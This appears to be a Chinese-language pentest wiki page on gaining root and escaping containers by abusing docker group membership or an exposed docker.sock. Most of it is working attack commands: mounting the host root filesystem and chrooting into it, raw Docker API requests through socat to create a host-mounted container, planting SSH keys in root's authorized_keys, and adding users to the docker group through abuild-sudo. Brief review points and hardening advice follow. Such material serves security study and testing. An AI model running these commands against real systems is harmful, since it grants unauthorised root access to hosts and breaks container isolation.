跳到主要内容

Docker 组与 docker.sock 提权逃逸

docker daemon 以 root 运行,docker 组成员可以向它提交任意挂载与执行请求,因此docker 组等价于 root。容器内如果存在可写的 docker.sock,同样能借 daemon 操作宿主,一次完成提权与逃逸。


环境判定

id # 是否在 docker 组
ls -la /var/run/docker.sock # socket 属主与权限
ls -la /.dockerenv # 容器内标志文件
cat /proc/self/status | grep CapEff # 当前生效的 capabilities
cat /proc/1/mounts # 挂载映射

CapEff 的解读见 Linux capabilities 提权。socket 可能被改名或换路径,/proc/<pid>/mountinfo 里仍能看到真实的挂载关系。


场景 A:docker 组成员

把宿主根文件系统挂进容器后直接读取:

docker run -v /:/mnt --rm alpine cat /mnt/root/root.txt

需要完整宿主视图时,挂载后 chroot:

docker run -v /:/host --rm -it alpine chroot /host

该操作等价于 root:宿主任意文件可读可写。


场景 B:docker.sock 可写(无 CLI)

目标机没有 docker CLI 时,直接对 socket 发 HTTP 请求即可操作 API。用 socat 建立裸连接:

socat - UNIX-CONNECT:/var/run/docker.sock

创建带宿主根挂载的容器:

POST /containers/create HTTP/1.1
Host: docker
Content-Type: application/json

{"Image":"alpine","Binds":["/:/host:rw"]}

随后 POST /containers/<id>/start 启动容器,在容器内写宿主的 /host/root/.ssh/authorized_keys,或直接反弹 shell。


场景 C:只读挂载的 socket

socket 以 ro 方式挂载进容器时不影响利用:ro 限制的是文件系统视图,UNIX socket 本身的读写不受限制,场景 B 的流程照常可用。


场景 D:辅助路径

  • Alpine 的 abuild-sudo 允许 abuild 组用户执行 abuild-addgroup <user> docker,先把当前用户加进 docker 组,再走场景 A。
  • 数据库用户恰好在 docker 组时,先经数据库命令执行拿到系统 shell,再操作 docker。

复核要点

  1. id 输出的附属组中是否包含 docker。
  2. socket 文件权限是否宽于 root:docker 660
  3. /proc/self/statusCapEff 是否包含高权能力。
  4. /proc/1/mountsmountinfo 中是否暴露宿主路径映射。

防御建议

  1. 不给普通用户 docker 组,确有需要时用受控账号并审计操作。
  2. socket 权限保持 root:docker 660
  3. 启用 rootless docker,缩小 daemon 被滥用后的影响面。
  4. 容器不挂载宿主根目录,最小化挂载范围。